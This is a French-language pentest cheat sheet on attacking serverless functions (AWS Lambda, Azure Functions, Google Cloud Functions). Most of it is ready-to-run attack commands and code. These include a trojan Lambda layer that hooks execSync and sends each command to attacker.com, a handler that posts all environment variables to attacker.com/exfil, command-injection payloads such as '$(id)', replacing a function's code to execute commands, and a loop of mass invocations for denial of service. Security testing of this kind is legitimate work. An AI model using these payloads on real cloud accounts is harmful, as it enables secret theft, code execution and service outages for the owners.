| name | serverless-security |
| description | Guide complet de sécurité serverless — AWS Lambda, Azure Functions, Google Cloud Functions — event injection, permission escalation, function manipulation, cold start, et secrets extraction |
| category | cybersecurite |
Serverless Security — Pentest des Fonctions
Architecture Serverless
Event Source (S3, HTTP, Queue, DB)
→ Function (Lambda, Azure Function, Cloud Function)
→ Destination (S3, DB, Queue, API)
Points d'attaque:
- Event data injection (dans la fonction)
- Permission over-permissive (IAM)
- Secrets dans les variables d'environnement
- Third-party dependencies vulnérables
- Cold start timing attacks
- Function manipulation (code, layers, config)
1. Énumération Serverless
AWS Lambda
aws lambda list-functions
aws lambda list-functions --max-items 100
aws lambda get-function --function-name <name>
aws lambda get-function-configuration --function-name <name>
aws lambda list-event-source-mappings
aws lambda list-layers
aws lambda list-versions-by-function --function-name <name>
Azure Functions
az functionapp list
az functionapp show --name <app> --resource-group <rg>
az functionapp config show --name <app> --resource-group <rg>
az functionapp function list --name <app> --resource-group <rg>
Google Cloud Functions
gcloud functions list
gcloud functions describe <name>
gcloud functions get-iam-policy <name>
2. Event Injection
HTTP Event Injection
POST /api/users HTTP/1.1
Host: <id>.execute-api.us-east-1.amazonaws.com
Content-Type: application/json
{
"user": "$(id)",
"callback": "https://attacker.com/steal"
}
X-Forwarded-For: 127.0.0.1
X-Amz-Invocation-Type: Event
S3 Event Injection
aws s3api put-object --bucket target-bucket --key test.txt \
--body test.txt \
--metadata '{"cmd":"id"}'
Queue Event Injection (SQS)
aws sqs send-message --queue-url https://sqs.us-east-1.amazonaws.com/... \
--message-body '{"action": "delete_all_users"}'
3. Permission Escalation
Over-permissive IAM Role
aws iam list-attached-role-policies --role-name <function-role>
aws iam get-policy --policy-arn <arn>
aws iam get-policy-version --policy-arn <arn> --version-id v1
Lambda Function Manipulation
cat > index.js << 'EOF'
exports.handler = async (event) => {
const { execSync } = require('child_process');
const result = execSync('id').toString();
return { statusCode: 200, body: result };
};
EOF
zip function.zip index.js
aws lambda update-function-code \
--function-name <target-function> \
--zip-file fileb://function.zip
aws lambda invoke --function-name <target-function> output.txt
cat output.txt
Lambda Layer Injection
mkdir -p malicious-layer/nodejs/node_modules/hook
cat > malicious-layer/nodejs/node_modules/hook/index.js << 'EOF'
const originalExec = require('child_process').execSync;
require('child_process').execSync = function(cmd) {
// Exfiltrer les commandes
fetch('https://attacker.com/exec?cmd=' + encodeURIComponent(cmd));
return originalExec(cmd);
};
EOF
cd malicious-layer && zip -r layer.zip *
aws lambda publish-layer-version --layer-name MaliciousLayer \
--zip-file fileb://layer.zip
aws lambda update-function-configuration \
--function-name <target> \
--layers <layer-arn>
4. Secrets Extraction
Variables d'environnement
aws lambda get-function-configuration --function-name <name>
az functionapp config appsettings list --name <app> --resource-group <rg>
gcloud functions describe <name> --format="get(eventTrigger)"
Exfiltration via la fonction
exports.handler = async (event) => {
const https = require('https');
const data = JSON.stringify(process.env);
const options = {
hostname: 'attacker.com',
path: '/exfil',
method: 'POST',
};
const req = https.request(options);
req.write(data);
req.end();
};
CloudWatch Logs Reading
aws logs describe-log-groups
aws logs filter-log-events --log-group-name /aws/lambda/<function>
aws logs filter-log-events \
--log-group-name /aws/lambda/<function> \
--filter-pattern "password"
aws logs filter-log-events \
--log-group-name /aws/lambda/<function> \
--filter-pattern "secret"
aws logs filter-log-events \
--log-group-name /aws/lambda/<function> \
--filter-pattern "token"
5. Cold Start Exploitation
Timing Attack
time curl -s https://<id>.lambda-url.us-east-1.on.aws/
Cold Start Code Injection
6. Denial of Service (DoS)
Resource Exhaustion
for i in {1..1000}; do
aws lambda invoke --function-name <target> /dev/null &
done
wait
Timeout Manipulation
aws lambda get-function-configuration --function-name <name>
7. Détection & Outils
scout aws --profile default
prowler aws -g serverless
cloudsploit scan --cloud aws
git clone https://github.com/Skyscanner/LambdaGuard
lambda-guard
clair-scanner
Checklist
ÉNUMÉRATION
☐ Lister toutes les fonctions (Lambda, Azure, GCP)
☐ Vérifier les permissions IAM du rôle de fonction
☐ Inspecter les variables d'environnement
☐ Vérifier les triggers (S3, HTTP, SQS, etc.)
☐ Inspecter les dépendances (vulnérabilités)
EVENT INJECTION
☐ Test d'injection dans le body HTTP
☐ Test d'injection dans les headers
☐ Test d'injection S3 metadata
☐ Test d'injection SQS messages
PERMISSION ESCALATION
☐ lambda:UpdateFunctionCode exploitable ?
☐ iam:PassRole exploitable ?
☐ lambda:InvokeFunction sur d'autres fonctions ?
☐ Layers modifiables ?
SECRETS
☐ Variables d'environnement sensibles ?
☐ Logs CloudWatch analysés ?
☐ Secrets Manager / Parameter Store accessible ?
☐ API keys dans le code source ?
CONFIGURATION
☐ Timeout trop long ?
☐ Concurrency limit trop élevée ?
☐ VPC configuré (isolation réseau) ?
☐ DLQ (Dead Letter Queue) configurée ?
☐ X-Ray tracing active ?
Ressources